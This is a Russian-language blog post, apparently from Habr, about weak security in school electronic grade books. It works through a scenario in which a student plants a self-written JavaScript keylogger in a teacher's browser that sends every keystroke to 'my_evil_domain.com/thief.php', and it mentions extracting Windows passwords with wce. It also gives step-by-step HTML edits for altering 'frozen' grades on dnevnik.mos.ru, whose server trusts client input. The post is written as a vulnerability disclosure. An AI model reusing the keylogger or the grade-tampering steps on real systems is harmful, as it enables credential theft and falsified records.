Information Security
Website development
Debugging
June 2015 27

Почему «электронные дневники» до сих пор ненадежны в образовании?

Добрый день, хабраюзер!


В этом топике будет затронута проблема, связанная с организацией надежности цифровых информационных систем, являющихся частью процесса современного образования. Если говорить конкретно, то электронных дневников.



Как известно, цифровые внедрения нынче повсеместны: школы и университеты заводят собственные странички в социальных сетях и блогах для информирования о происходящем, редкое учебное заведение не имеет собственного сайта, а электронные журналы вот-вот окончательно вытеснят бумажные… И это лишь часть тех перемен, которые происходят у нас на глазах. Конечно же, в информационный век этому уже не приходится удивляться: люди привыкли, что вся интересующая их информация находится интернете.

Очевидно, эти процессы инкапсулируют в себе и немалую ответственность как со стороны пользователей, так и со стороны разработчиков. Теперь недостаточно, уходя из кабинета, запирать дверь на ключ, оставляя позади нее всё важное. В цифровом мире физическая недоступность не является гарантией безопасности (однако, несомненно, этот аспект крайне важен в плане обеспечения комплексной безопасности). Но, обо всем по порядку.



Проблема #1: человеческий фактор.



«Самая большая уязвимость любой информационной системы — это её пользователь»(с)


С этим высказыванием трудно поспорить — человек есть человек. Именно эта проблема является ключевой в плане надежности и безопасности информационных ресурсов как со стороны пользователей, так и разработчиков. Эта проблема актуальна ровно столько, сколько существует сам человек, а поэтому она не относится к цифровому миру, как таковому. Ведь и во времена, предшествующие цифровым, например, бумажный журнал было доверено переносить конкретному человеку (старосте, кажется), который, в общем-то, мог бы пользоваться своим положением или быть использованным другими своими одногруппниками, что в конечном счете вполне могло привести к подделке оригинальной информации, ее компроментации. Другой пример, когда виновниками выступают уже не доверенные лица, а непосредственные «владельцы» информации. Если рассматривать это на конкретном примере, то легко представить себе обычного, скажем, секретаря, не подумавшего не только забрать, но и вообще закрыть журнал с важной информацией на время своего отсутствия в кабинете. Такое бывает и нередко. Это также может привести к утечке/подделке важных для учреждения сведений.

В современное время примеры неаккуратности человеческого фактора остаются идентичными, разве что бумажки заменяются компьютерами. На самом деле это несет еще большую угрозу. Если запрограммировать и «заразить» бумажку было нельзя, то с компьютерами все обстоит иначе.

Редкий сотрудник (по крайней мере, в сфере школьного образования) нажимает Win+L, отлучаясь по делам, некоторых в принципе не заботит, стоят ли пароли на их учетных записях Windows, а третьи вообще пускают за свой ноутбук чуть ли ни каждого встречного… Все это лишь усугубляет и без того ненадежные системы. Вы можете использовать самые безопасные браузеры, накачать дюжину различных антивирусов и даже использовать уникальный пароль учетной записи, но если пускать за свое место других людей без пристального наблюдения за их действиями, ничто не сможет гарантировать надежность рабочего места и отсутствие утечек.

Теперь хотелось бы привести простой пример эксплуатации «человеческого фактора».

Есть добрый преподаватель географии Иван Иванович, который попросил своего «ученика-компьютерщика» Антона Антоновича разобраться с тем, почему на его компьютере нет звука в презентации(обычная проблема). Ученик, быстро разобравшись с проблемой, пока Иван Иванович пишет на доске материал к следующему уроку, подумывает о перехвате данных своего учителя с этого компьютера(часто это почта, логины-пароли от соц.сетей и электронных журналов и т.д). Заранее Антоном был заготовлен злобный JavaScript-сценарий, являющийся частью его self-made сниффера:

(function(){
    
    THIEF = "http://my_evil_domain.com/thief.php"; 
    
    function grab(e)
    {
        var o = e.srcElement;
        var img = new Image();
        var text = o.value;
        if(!text || typeof text == "undefined")
            text = o.innerHTML;
        if(!text || typeof text == "undefined" || (text+"").trim().length==0)
            return;
        img.src =  THIEF+"?stolendata="+encodeURIComponent(text)+
            		 "&urlfromdata="+encodeURIComponent(location.href.toString())+
            		 "&domdata="+encodeURIComponent(o.getAttribute("id")+"  |||  ."+ o.getAttribute("class"));
        img.width="1px";
        img.height="1px";
        img.id="taken_data_sender";
        
        try{
            var oldImg = document.getElementById(img.id.toString());
            document.body.removeChild(oldImg);
        }catch(e){}
        
        document.body.appendChild(img);
        return true;
    }
    
    function connect_signal(selector)
    {
        var elements = document.getElementsByTagName(selector);
    	for(var el in elements)
        	elements[el].addEventListener('keyup', grab, false);
    }
           
    var selectors = ['*'];
    for(var k in selectors)
        connect_signal(selectors[k])

})();



И «ученик-компьютерщик» решает встроить свой скрипт внутрь любимого браузера Ивана Ивановича. Сделать Антон это может как стандартными средствами, предоставленными непосредственно браузерами, так и сторонними, вроде расширений TamperMonkey(Chrome), GreaseMonkey(FireFox) и т.д. После чего он довольно встает с захваченного PC и идет с улыбкой к любимому учителю географии, информируя его о починке исходной проблемы. Но с этого момента все вводимые данные на захваченном компьютере будут течь к Антону. Для более пущего эффекта он может сбросить всю историю браузера, включая запомненные ранее аутентификационные данные из форм.

Кроме того, Антон может попытать счастье и постараться вытащить пароль учетной записи Windows, используя средства наподобие wce (WindowsCredentialsEditor). Ведь вряд ли у Ивана Ивановича десяток различных паролей — так ведь неудобно — поэтому, вполне вероятно, что всего один единственный ;)

Проблема #2: ненадежность информационных ресурсов(электронных журналов)



Начать, пожалуй, следует с того, что ни один электронный журнал, встретившийся мне, не обладал должной системой защиты и системой выявления несанкционированного доступа. Я не хотел бы их перечислять. Все они, с точки зрения *безопасной* авторизации, напоминали какие-то форумы и многочисленные сайты-пиратки, построенные на движке DLE. Везде для входа в свой кабинет нужно было лишь указать логин(который часто представлял из себя email) и пароль. Ни о какой истории входов-выходов и информации об открытых «висячих» сессиях и речи нет. Однако данные, находящиеся внутри, все же представляют определенную ценность.

Рассмотрим пример на реально существующем электронном журнале, который функционировал в течении целого года.
Предположим, тот самый «ученик-компьютерщик» этим же вечером, придя домой и проанализировав свой лог, получил несанкционированный доступ к учетной записи преподавателя:

image

авторизовавшись, Антон увидел следующую картину:

image

что натолкнуло его на мысль о том, что имея в руках auth-данные лишь одного сотрудника своего образовательного учреждения(Ивана Ивановича), он может управлять всеми оценками любого юнита, входящего в состав этого учреждения. Это довольно странно, ведь это идет вразрез с простейшими правилами доступа.

Однако к служебной и конфигурационной информации у простого преподавателя доступа все же нет. Зато такой доступ есть у аккаунта администратора учебного заведения:



Здесь приведен один из ключевых конфигурационных разделов журнала. Красным выделено то, что влияет на безопасность и достоверность данных. Далее я хотел бы показать, что часто подобные настройки являются лишь иллюзией, которая еще больше усугубляет положение: ответственные лица полагают, что информация месячной/недельной(и т.д) давности была проверена и заморожена навсегда. Однако, это не так.

Что-либо изменить просто так не удастся, т.к на данный момент уже прошло слишком много времени.



Но если заглянуть в исходный код и посмотреть, как все устроено, можно увидеть следующее:



Синим обозначено то, что якобы не подлежит замене, красным — что изменяемо. Сразу появляется мысль подставить данные из уязвимого красного блока в синий, т.е заменить SPAN на INPUT. После срабатывания JS-события onChange происходит следующее:



Сработала одна из систем, отвечающих за надежность данных. Однако, если вспомнить, что есть HTML-сущности, то комментарий можно будет скрыть.
После нажатия на кнопку и обновления страницы можно увидеть:



Замороженные данные были подвержены изменению? Да. А причина тому кроется в том, что разработчики данного дневника не подумали проверять данные на серверной стороне. Они доверчиво принимают параметры от клиента, а сервер, как зомби, тупо прожевывает их, не сомневаясь в надежности…

Но, как оказалось, комментарии можно и вовсе обойти, а присутствие/отсутствие на конкретном уроке подделать, что в общем-то уже менее серьезно. Достаточно перейти на страницу урока( ↑ ссылка в заголовке таблицы ↑ ):



Здесь есть возможность добавить оценку(значок «плюсик»), но не изменить уже существующую(замороженную). Красным цветом снова показано «уязвимое» место системы, а синим — его эксплуатация. Здесь просто воспользоваться методом замены не получится( нельзя просто так взять и заменить DIV на A ), потому что тег ссылки содержит в себе служебные параметры: ID оценки и ID человека, которому она принадлежит. По нажатию на ссылку всплывает окно, ассоциированное с данными оценки. Поэтому для эксплуатации придется совсем немного подкорректировать параметры ссылки:

Исходные данные:

1) <a id="m192609687_5296401_0" href="http://schools.dnevnik.mos.ru/marks.aspx?view=mark&school=54509&lesson=144407896&work=192609687&person=5296401" class="mark mX" title="Редактировать оценку">+</a>

2) <td id="w192604193_5296401" class="lpm tac mark5"><div style="display: inline" class="mark mG">5</div></td>

Аутпут:

<a id="m192604193_5296401_0" href="http://schools.dnevnik.mos.ru/marks.aspx?view=mark&school=54509&lesson=144407896&work=192604193&person=5296401" class="mark mX" title="Редактировать оценку">+</a>



Теперь, если произвести замену, изменить и обновить:



Снова удалось заменить замороженные данные. Даже без указания комментария(причины)!
Здесь также наблюдается уязвимость, связанная с односторонней проверкой данных.
Вот таким достаточно простым способом удалось обойти основной раздел, отвечающий за защиту и надежность самых важных данных электронного журнала.

Исследование HTTP-запросов показало, что комментарий не учитывается вообще — это просто сторонний параметр, который может быть и пустым(значение на пустоту проверяется на клиентской стороне).

Возможно, разработчики и проектировщики(если проектировщики вообще были) точно были уверены, что данными функциями будут пользоваться исключительно сотрудники образовательных учреждений… но, на худой конец, ведь вполне может быть и так, что ученик является родственником определенного сотрудника и они пользуются общим компьютером…

Проблема #3: нежелание исправлять свои ошибки.



В начале описания проблемы#2 было сказано, что уязвимый электронный журнал функционировал в течении целого учебного года. Исследование же журнала было проведено почти в самом начале учебного года, разработчики и администрация были проинформированы, однако ни одной ошибки так и не было исправлено за всё прошедшее время. Вполне вероятно, что проблемой#1, связанной с человеческим фактором, воспользовалось множество учеников из разных образовательных учреждений, что в итоге могло привести к массовой подделке исходных данных. Проблема#2 лишь усугубляет эту ситуацию.

Сотрудники образовательных учреждений так же продолжают предоставлять доступ к своим компьютерам каждому встречному, не наблюдая за их действиями. Некоторые позаботились о смене своих «штатных» паролей(или их первоначальной установки). В целом ничего не изменилось, и уровень как безопасности, так и надежности остался на прежнем уровне.

Вывод



Проблема, как и положено, кроется в корне. Чтобы ее можно было как-то искоренить, необходимо заставлять людей задумываться о безопасности их рабочего места, о том, что вокруг «ходит» слишком много угроз. Утечка и несанкционированный доступ — часто лишь вопрос времени не только в контексте современных образовательных учреждений. Но на их примере очень легко убедиться в некомпетентности многих сотрудников. На примере электронного журнала(dnevnik.mos.ru) стало видно, что некомпетентность лишь одного человека может повлечь за собою крах, в данном случае, всей системы оценивания.

Многие школьные учителя еще только осваиваются в плане электронных ресурсов, но когда однажды(уже очень скоро) произойдет повсеместный полноценный переход от «олдскульных» бумажных журналов к электронным, необходимо будет уметь объективно оценивать угрозы не только пользователям, но и разработчикам подобных ресурсов. Необходима тщательно проработанная система авторизации, которая бы позволяла отслеживать неправомерный доступ; необходимы и системы логгирования входов и отслеживания открытых сессий текущего аккаунта; необходимо и как можно более сузить области ответственности отдельных аккаунтов.

Все это в конечном счете позволит доверять современным электронным дневникам и не сомневаться в информации, которую они призваны не только предоставлять, но и оберегать.
+52
61.2k 171
Comments 102
Top of the day